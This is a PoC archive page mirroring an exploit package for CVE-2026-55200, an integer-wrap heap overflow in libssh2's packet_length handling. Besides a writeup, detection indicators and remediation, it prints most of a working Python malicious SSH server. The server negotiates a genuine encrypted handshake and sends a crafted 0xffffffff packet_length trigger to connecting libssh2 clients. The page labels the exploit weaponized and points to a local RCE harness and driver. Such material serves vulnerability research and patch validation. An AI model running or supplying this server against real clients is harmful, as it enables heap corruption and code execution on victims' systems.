PoC Archive PoC Archive
Critical CVE-2026-55200 patched

libssh2 Unchecked SSH packet_length Integer Wrap to RCE (CVE-2026-55200)

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
CVE-2026-55200
Category
network
Affected product
libssh2, ssh2_transport_read() in src/transport.c
Affected versions
libssh2 through 1.11.1 (fixed by upstream commit 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8)
Disclosed
2026-07-03
Patch status
patched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryCVE-2026-55200
Categorynetwork
SeverityCritical
CVSS ScoreNot yet scored (no CVSS explicitly stated in source)
StatusWeaponized
Tagslibssh2, ssh, integer-overflow, heap-overflow, packet-length, transport, rce, memory-corruption, cve-2026-55200
RelatedN/A

Affected Target

FieldValue
Software / Systemlibssh2, ssh2_transport_read() in src/transport.c
Versions Affectedlibssh2 through 1.11.1 (fixed by upstream commit 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8)
Language / PlatformC11 verifier, Python SSH server scaffold, C RCE harness — targets any application linking libssh2 as an SSH client
Authentication RequiredNo (triggered by a malicious/compromised SSH server against a connecting libssh2 client)
Network Access RequiredYes (delivered over an SSH connection to a vulnerable libssh2 client)

Summary

CVE-2026-55200 is an unchecked packet_length condition in libssh2’s ssh2_transport_read() transport-parsing path. The vulnerable code accepts an attacker-controlled decrypted SSH packet_length field and only rejects values less than 1, then computes an allocation size as 4 + packet_length + mac_len + auth_len before checking that the result is within a sane bound (<= 35000). Because packet_length and the related terms are combined using 32-bit/integer arithmetic before promotion to size_t, a crafted packet_length of 0xffffffff with mac_len=0 and auth_len=16 wraps to a total allocation of just 19 bytes, while later full-packet processing still uses the original, unwrapped packet_length to size subsequent reads/writes — producing a heap buffer that is far smaller than the data the parser goes on to write into it. The included PoC package supplies an arithmetic verifier proving the wrap, a malicious SSH server scaffold that negotiates a real handshake and sends the crafted encrypted trigger packet, and a controlled local harness plus exploit driver that models the wrapped-allocation-to-callback-overwrite pattern to demonstrate concrete code execution. Because this vulnerability has been assigned CVE-2026-55200, it carries a stronger validation signal than an unconfirmed report, though this PoC package itself remains an independent, uncoordinated mirror.


Vulnerability Details

Root Cause

In src/transport.c:ssh2_transport_read(), the SSH packet length field is validated only for a lower bound (packet_length < 1 rejected) before being summed with mac_len and auth_len into an allocation size; the addition is performed in 32-bit-width arithmetic and wraps for large packet_length values (e.g. 0xffffffff), producing a small allocation (19 bytes) while later processing still uses the original, unwrapped packet_length for buffer indexing.

Attack Vector

  1. Attacker stands up (or compromises) an SSH server and waits for a libssh2-based client to connect.
  2. Server completes a normal encrypted handshake (curve25519-sha256 key exchange, RSA host key, chacha20-poly1305@openssh.com in the reference scaffold).
  3. Server sends a malformed encrypted server-to-client packet whose decrypted packet_length field is 0xffffffff.
  4. The vulnerable 32-bit addition wraps the computed allocation size down to 19 bytes, which libssh2 allocates.
  5. Subsequent full-packet processing uses the original, unwrapped packet_length-derived size to write into that undersized buffer, corrupting adjacent heap memory.
  6. With suitable heap layout/grooming (demonstrated locally via the harness/exploit driver), the overflow overwrites a callback pointer that is later invoked, yielding attacker-controlled code execution in the client process.

Impact

Heap buffer overflow in any application’s SSH client that links a vulnerable libssh2, reachable by a malicious or compromised SSH server, with a demonstrated local path to arbitrary code execution via callback pointer overwrite.


Environment / Lab Setup

Target:   Application linking libssh2 <= 1.11.1 as an SSH client (Linux/Windows/macOS)
Attacker: gcc/MinGW, Python 3, a controlled SSH server/harness environment

Proof of Concept

PoC Script

See cve_2026_55200_probe.c, libpwn_cve_2026_55200_server.py, libpwn_local_rce_harness.c, and libpwn_local_rce_exploit.py in this folder.

1
2
3
4
5
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe cve_2026_55200_probe.c
./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16

gcc -O0 -g -Wall -Wextra -o libpwn_local_rce_harness libpwn_local_rce_harness.c
python3 libpwn_local_rce_exploit.py --harness ./libpwn_local_rce_harness --proof ./libpwn_rce_proof.txt

cve_2026_55200_probe.c proves the arithmetic wrap in isolation (vulnerable32_allocation=19); libpwn_cve_2026_55200_server.py is a malicious SSH server scaffold that can be pointed at a real libssh2 client to deliver the crafted packet_length trigger over an encrypted session; libpwn_local_rce_harness.c plus libpwn_local_rce_exploit.py model the wrapped-allocation-to-callback-overwrite pattern locally and write a proof file (RCE_PROOF=PASS) confirming code execution.


Detection & Indicators of Compromise

Signs of compromise:

  • libssh2-linked SSH client crashes (SIGSEGV/heap corruption) shortly after connecting to a given server
  • Anomalous or newly observed SSH server host keys associated with client crashes
  • Unexpected child processes or code execution originating from an SSH client application after an outbound connection

Remediation

ActionDetail
Primary fixUpgrade to a libssh2 release containing commit 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8, which adds a packet_length > LIBSSH2_PACKET_MAXPAYLOAD guard before the vulnerable addition
Interim mitigationOnly connect to trusted/verified SSH servers with vulnerable libssh2 clients; pin host keys and avoid connecting to unknown or unauthenticated SSH endpoints until patched

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: libssh2-cve-2026-55200-poc) on 2026-07-03. CVE-2026-55200 is assigned; the source README additionally cites a VulnCheck advisory and an upstream fix commit, providing independent corroboration beyond the PoC author’s own claims. The source notes that turning the malicious-server scaffold into a fully reliable, target-specific end-to-end RCE still depends on the target binary, allocator behavior, and platform mitigations — the local harness demonstrates the exploit pattern rather than a universal exploit for every libssh2 deployment.

libpwn_cve_2026_55200_server.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
import argparse
import hashlib
import os
import queue
import socket
import struct
import sys
import threading
import time
import traceback
from dataclasses import dataclass

from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa, x25519


HOST = ""
PORT = 0

SERVER_IDENT = b"SSH-2.0-libpwn-cve-2026-55200"
LIBSSH2_PACKET_MAXPAYLOAD = 35000
DEFAULT_PACKET_LENGTH = 0xFFFFFFFF
DEFAULT_AUTH_LEN = 16
DEFAULT_MAC_LEN = 0
CLIENT_IDENT = b"SSH-2.0-libpwn-local-libssh2-mock"

KEX_ALGORITHMS = [
    "curve25519-sha256",
    "curve25519-sha256@libssh.org",
]
HOSTKEY_ALGORITHMS = [
    "rsa-sha2-256",
    "ssh-rsa",
]
CIPHER_ALGORITHMS = [
    "chacha20-poly1305@openssh.com",
]
MAC_ALGORITHMS = [
    "hmac-sha2-256",
    "hmac-sha1",
]
COMP_ALGORITHMS = [
    "none",
]


def u32(value):
    return struct.pack(">I", value & 0xFFFFFFFF)


def read_exact(sock, size):
    out = bytearray()
    while len(out) < size:
        chunk = sock.recv(size - len(out))
        if not chunk:
            raise EOFError("connection closed while reading")
        out += chunk
    return bytes(out)


def ssh_string(data):
    if isinstance(data, str):
        data = data.encode()
    return u32(len(data)) + data


def ssh_name_list(items):
    return ssh_string(",".join(items).encode())


def mpint_bytes(value):
    if value == 0:
        return b""
    raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
    if raw[0] & 0x80:
        raw = b"\x00" + raw
    return raw


def ssh_mpint(value):
    return ssh_string(mpint_bytes(value))


def read_ssh_string(buf, offset):
    if offset + 4 > len(buf):
        raise ValueError("short SSH string length")
    size = struct.unpack(">I", buf[offset:offset + 4])[0]
    offset += 4
    if offset + size > len(buf):
        raise ValueError("short SSH string body")
    return buf[offset:offset + size], offset + size


def split_namelist(raw):
    if not raw:
        return []
    return raw.decode(errors="strict").split(",")


def first_match(client_items, server_items, label):
    for item in client_items:
        if item in server_items:
            return item
    raise RuntimeError(f"client did not offer required {label}; got {client_items!r}")


def build_plain_packet(payload, block_size=8):
    padding_len = (-(len(payload) + 5)) % block_size
    if padding_len < 4:
        padding_len += block_size
    packet_length = len(payload) + 1 + padding_len
    return u32(packet_length) + bytes([padding_len]) + payload + os.urandom(padding_len)


def parse_plain_packet(packet):
    if len(packet) < 5:
        raise ValueError("plain packet too short")
    packet_length = struct.unpack(">I", packet[:4])[0]
    padding_len = packet[4]
    if packet_length + 4 != len(packet):
        raise ValueError("packet length mismatch")
    if padding_len + 1 > packet_length:
        raise ValueError("invalid padding length")
    return packet[5:4 + packet_length - padding_len]


def read_plain_packet(sock, max_packet=1024 * 1024):
    packet_length = struct.unpack(">I", read_exact(sock, 4))[0]
    if packet_length < 1 or packet_length > max_packet:
        raise ValueError(f"refusing plain packet_length={packet_length}")
    body = read_exact(sock, packet_length)
    return parse_plain_packet(u32(packet_length) + body)


def send_plain_packet(sock, payload):
    sock.sendall(build_plain_packet(payload))


def read_ident(sock):
    buf = bytearray()
    while True:
        ch = read_exact(sock, 1)
        if ch == b"\n":
            line = bytes(buf).rstrip(b"\r")
            if line.startswith(b"SSH-"):
                return line
            buf.clear()
            continue
        buf += ch
        if len(buf) > 4096:
            raise ValueError("SSH banner line too long")


def build_kexinit_payload():
    payload = bytearray()
    payload.append(20)
    payload += os.urandom(16)
    payload += ssh_name_list(KEX_ALGORITHMS)
    payload += ssh_name_list(HOSTKEY_ALGORITHMS)
    payload += ssh_name_list(CIPHER_ALGORITHMS)
    payload += ssh_name_list(CIPHER_ALGORITHMS)
    payload += ssh_name_list(MAC_ALGORITHMS)
    payload += ssh_name_list(MAC_ALGORITHMS)
    payload += ssh_name_list(COMP_ALGORITHMS)
    payload += ssh_name_list(COMP_ALGORITHMS)
    payload += ssh_string(b"")
    payload += ssh_string(b"")
    payload += b"\x00"
    payload += u32(0)
    return bytes(payload)


def parse_kexinit_payload(payload):
    if not payload or payload[0] != 20:
        raise ValueError("expected SSH_MSG_KEXINIT")
    offset = 17
    names = []
    for _ in range(10):
        raw, offset = read_ssh_string(payload, offset)
        names.append(split_namelist(raw))
    return {
        "kex": names[0],
        "hostkey": names[1],
        "c2s_cipher": names[2],
        "s2c_cipher": names[3],
        "c2s_mac": names[4],
        "s2c_mac": names[5],
        "c2s_comp": names[6],
        "s2c_comp": names[7],
    }


def rsa_public_blob(private_key, algorithm):
    numbers = private_key.public_key().public_numbers()
    return (
        ssh_string(algorithm)
        + ssh_string(mpint_bytes(numbers.e))
        + ssh_string(mpint_bytes(numbers.n))
    )


def sign_exchange_hash(private_key, hostkey_algorithm, exchange_hash):
    if hostkey_algorithm == "rsa-sha2-256":
        digest = hashes.SHA256()
    elif hostkey_algorithm == "ssh-rsa":
        digest = hashes.SHA1()
    else:
        raise ValueError(f"unsupported hostkey signature algorithm {hostkey_algorithm}")
    sig = private_key.sign(exchange_hash, padding.PKCS1v15(), digest)
    return ssh_string(hostkey_algorithm) + ssh_string(sig)


def exchange_hash(client_ident, server_ident, client_kexinit, server_kexinit,
                  hostkey_blob, client_pub, server_pub, shared_int):
    h = bytearray()
    h += ssh_string(client_ident)
    h += ssh_string(server_ident)
    h += ssh_string(client_kexinit)
    h += ssh_string(server_kexinit)
    h += ssh_string(hostkey_blob)
    h += ssh_string(client_pub)
    h += ssh_string(server_pub)
    h += ssh_mpint(shared_int)
    return hashlib.sha256(bytes(h)).digest()


def derive_key(shared_int, exchange_hash_value, session_id, letter, length):
    seed = ssh_mpint(shared_int) + exchange_hash_value + letter + session_id
    out = hashlib.sha256(seed).digest()
    while len(out) < length:
        out += hashlib.sha256(ssh_mpint(shared_int) + exchange_hash_value + out).digest()
    return out[:length]


def rotl32(value, shift):
    return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))


def quarter_round(state, a, b, c, d):
    state[a] = (state[a] + state[b]) & 0xFFFFFFFF
    state[d] = rotl32(state[d] ^ state[a], 16)
    state[c] = (state[c] + state[d]) & 0xFFFFFFFF
    state[b] = rotl32(state[b] ^ state[c], 12)
    state[a] = (state[a] + state[b]) & 0xFFFFFFFF
    state[d] = rotl32(state[d] ^ state[a], 8)
    state[c] = (state[c] + state[d]) & 0xFFFFFFFF
    state[b] = rotl32(state[b] ^ state[c], 7)


def chacha20_block(key, counter, nonce8):
    constants = b"expand 32-byte k"
    state = [
        int.from_bytes(constants[i:i + 4], "little") for i in range(0, 16, 4)
    ]
    state += [
        int.from_bytes(key[i:i + 4], "little") for i in range(0, 32, 4)
    ]
    state += [
        counter & 0xFFFFFFFF,
        (counter >> 32) & 0xFFFFFFFF,
        int.from_bytes(nonce8[:4], "little"),
        int.from_bytes(nonce8[4:], "little"),
    ]
    working = state[:]
    for _ in range(10):
        quarter_round(working, 0, 4, 8, 12)
        quarter_round(working, 1, 5, 9, 13)
        quarter_round(working, 2, 6, 10, 14)
        quarter_round(working, 3, 7, 11, 15)
        quarter_round(working, 0, 5, 10, 15)
        quarter_round(working, 1, 6, 11, 12)
        quarter_round(working, 2, 7, 8, 13)
        quarter_round(working, 3, 4, 9, 14)
    return b"".join(
        ((working[i] + state[i]) & 0xFFFFFFFF).to_bytes(4, "little")
        for i in range(16)
    )


def chacha20_xor(key, counter, nonce8, data):
    out = bytearray()
    block_counter = counter
    for offset in range(0, len(data), 64):
        stream = chacha20_block(key, block_counter, nonce8)
        chunk = data[offset:offset + 64]
        out += bytes(a ^ b for a, b in zip(chunk, stream))
        block_counter = (block_counter + 1) & 0xFFFFFFFFFFFFFFFF
    return bytes(out)


def poly1305_mac(message, key):
    r = int.from_bytes(key[:16], "little")
    r &= 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF
    s = int.from_bytes(key[16:], "little")
    p = (1 << 130) - 5
    acc = 0
    for offset in range(0, len(message), 16):
        block = message[offset:offset + 16]
        n = int.from_bytes(block + b"\x01", "little")
        acc = ((acc + n) * r) % p
    return ((acc + s) & ((1 << 128) - 1)).to_bytes(16, "little")


def chachapoly_encrypt(key64, seqno, plaintext_without_tag):
    if len(key64) != 64:
        raise ValueError("chacha20-poly1305@openssh.com requires a 64-byte key")
    if len(plaintext_without_tag) < 4:
        raise ValueError("packet needs a 4-byte SSH packet_length")
    seq = seqno.to_bytes(8, "big")
    main_key = key64[:32]
    header_key = key64[32:]
    encrypted_len = chacha20_xor(header_key, 0, seq, plaintext_without_tag[:4])
    encrypted_body = chacha20_xor(main_key, 1, seq, plaintext_without_tag[4:])
    encrypted = encrypted_len + encrypted_body
    poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
    return encrypted + poly1305_mac(encrypted, poly_key)


def chachapoly_decrypt(key64, seqno, encrypted_with_tag):
    if len(encrypted_with_tag) < 20:
        raise ValueError("encrypted packet too short")
    seq = seqno.to_bytes(8, "big")
    main_key = key64[:32]
    header_key = key64[32:]
    encrypted = encrypted_with_tag[:-16]
    tag = encrypted_with_tag[-16:]
    poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
    expected = poly1305_mac(encrypted, poly_key)
    if expected != tag:
        raise ValueError("poly1305 tag mismatch")
    packet_len = chacha20_xor(header_key, 0, seq, encrypted[:4])
    body = chacha20_xor(main_key, 1, seq, encrypted[4:])
    return packet_len + body


def build_malformed_plain(packet_length, body_len):
    if body_len < 1:
        raise ValueError("body_len must be at least 1 so padding_length exists")
    return u32(packet_length) + bytes([4]) + b"A" * (body_len - 1)


def build_malformed_wire(key64, seqno, packet_length, body_len, filler_len):
    plain = build_malformed_plain(packet_length, body_len)
    return chachapoly_encrypt(key64, seqno, plain) + (b"B" * filler_len)


@dataclass
class ArithmeticResult:
    accepted: bool
    total32: int
    allocation: int
    fixed_rejects: bool
    fullpacket_copy_len: int
    gap: int


def model_vulnerable_c_expression(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
    rhs32 = (packet_length + mac_len + auth_len) & 0xFFFFFFFF
    total32 = (4 + rhs32) & 0xFFFFFFFF
    accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
    fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
    copy_len = (packet_length - 1) & 0xFFFFFFFF
    gap = copy_len - total32 if accepted and copy_len > total32 else 0
    return ArithmeticResult(accepted, total32, total32 if accepted else 0,
                            fixed_rejects, copy_len, gap)


def model_vulnerable32(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
    total32 = (4 + packet_length + mac_len + auth_len) & 0xFFFFFFFF
    accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
    fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
    copy_len = (packet_length - 1) & 0xFFFFFFFF
    gap = copy_len - total32 if accepted and copy_len > total32 else 0
    return ArithmeticResult(accepted, total32, total32 if accepted else 0,
                            fixed_rejects, copy_len, gap)


class MiniSSHExploitServer:
    def __init__(self, args):
        self.args = args
        self.host_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)

    def serve_once(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
            listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            listener.bind((self.args.listen_host, self.args.listen_port))
            listener.listen(1)
            actual_host, actual_port = listener.getsockname()
            print(f"[+] listening on {actual_host}:{actual_port}")
            conn, addr = listener.accept()
            with conn:
                conn.settimeout(self.args.timeout)
                print(f"[+] client connected from {addr[0]}:{addr[1]}")
                self.handle_client(conn)

    def handle_client(self, conn):
        seq_out = 0
        seq_in = 0

        conn.sendall(SERVER_IDENT + b"\r\n")
        client_ident = read_ident(conn)
        print(f"[+] client ident: {client_ident.decode(errors='replace')}")

        client_kexinit = read_plain_packet(conn)
        seq_in += 1
        client_lists = parse_kexinit_payload(client_kexinit)

        chosen_kex = first_match(client_lists["kex"], KEX_ALGORITHMS, "kex")
        chosen_hostkey = first_match(client_lists["hostkey"], HOSTKEY_ALGORITHMS, "hostkey")
        first_match(client_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server-to-client cipher")
        first_match(client_lists["c2s_cipher"], CIPHER_ALGORITHMS, "client-to-server cipher")
        first_match(client_lists["s2c_mac"], MAC_ALGORITHMS, "server-to-client mac")
        first_match(client_lists["c2s_mac"], MAC_ALGORITHMS, "client-to-server mac")
        first_match(client_lists["s2c_comp"], COMP_ALGORITHMS, "server-to-client compression")
        first_match(client_lists["c2s_comp"], COMP_ALGORITHMS, "client-to-server compression")
        print(f"[+] negotiated {chosen_kex} / {chosen_hostkey} / chacha20-poly1305@openssh.com")

        server_kexinit = build_kexinit_payload()
        send_plain_packet(conn, server_kexinit)
        seq_out += 1

        init_payload = read_plain_packet(conn)
        seq_in += 1
        if not init_payload or init_payload[0] != 30:
            raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_INIT, got {init_payload[:1]!r}")
        client_pub, offset = read_ssh_string(init_payload, 1)
        if offset != len(init_payload) or len(client_pub) != 32:
            raise RuntimeError("invalid curve25519 client public key")

        server_private = x25519.X25519PrivateKey.generate()
        server_pub = server_private.public_key().public_bytes(
            serialization.Encoding.Raw,
            serialization.PublicFormat.Raw,
        )
        shared = server_private.exchange(x25519.X25519PublicKey.from_public_bytes(client_pub))
        if shared == b"\x00" * 32:
            raise RuntimeError("invalid all-zero curve25519 shared secret")
        shared_int = int.from_bytes(shared, "big")

        hostkey_blob = rsa_public_blob(self.host_key, chosen_hostkey)
        h = exchange_hash(client_ident, SERVER_IDENT, client_kexinit, server_kexinit,
                          hostkey_blob, client_pub, server_pub, shared_int)
        session_id = h
        signature = sign_exchange_hash(self.host_key, chosen_hostkey, h)

        reply = b"\x1f" + ssh_string(hostkey_blob) + ssh_string(server_pub) + ssh_string(signature)
        send_plain_packet(conn, reply)
        seq_out += 1

        send_plain_packet(conn, b"\x15")
        seq_out += 1
        print("[+] sent SSH_MSG_NEWKEYS")

        try:
            newkeys = read_plain_packet(conn)
            seq_in += 1
            if newkeys != b"\x15":
                print(f"[!] expected client NEWKEYS, got {newkeys[:1]!r}; continuing")
            else:
                print("[+] received client SSH_MSG_NEWKEYS")
        except Exception as exc:
            print(f"[!] did not read client NEWKEYS before trigger: {exc}")

        key_s2c = derive_key(shared_int, h, session_id, b"D", 64)
        trigger_seq = seq_out
        wire = build_malformed_wire(
            key_s2c,
            trigger_seq,
            self.args.packet_length,
            self.args.body_len,
            self.args.filler_len,
        )
        conn.sendall(wire)
        print(f"[+] sent malformed chacha/poly1305 trigger at server seq={trigger_seq}")
        print(f"[+] trigger bytes={len(wire)} packet_length=0x{self.args.packet_length:08x}")
        time.sleep(self.args.hold_open)


def self_test(args):
    key = bytes(range(64))
    seqno = 3
    wire = build_malformed_wire(key, seqno, args.packet_length, args.body_len, args.filler_len)
    encrypted_part = wire[:-args.filler_len] if args.filler_len else wire
    decrypted = chachapoly_decrypt(key, seqno, encrypted_part)
    decoded_len = struct.unpack(">I", decrypted[:4])[0]
    arith = model_vulnerable_c_expression(args.packet_length, DEFAULT_MAC_LEN, DEFAULT_AUTH_LEN)

    print("[self-test] chacha20-poly1305@openssh.com packet generator")
    print(f"packet_length=0x{decoded_len:08x} ({decoded_len})")
    print(f"encrypted_fragment_len={len(encrypted_part)}")
    print(f"filler_len={args.filler_len}")
    print(f"body_len={args.body_len}")
    print(f"vulnerable_c_expression_accepted={arith.accepted}")
    print(f"vulnerable_c_expression_allocation={arith.allocation}")
    print(f"fixed_rejects={arith.fixed_rejects}")
    print(f"fullpacket_style_length={arith.fullpacket_copy_len}")
    print(f"allocation_gap={arith.gap}")

    if decoded_len != args.packet_length:
Showing 500 of 634 lines View full file on GitHub →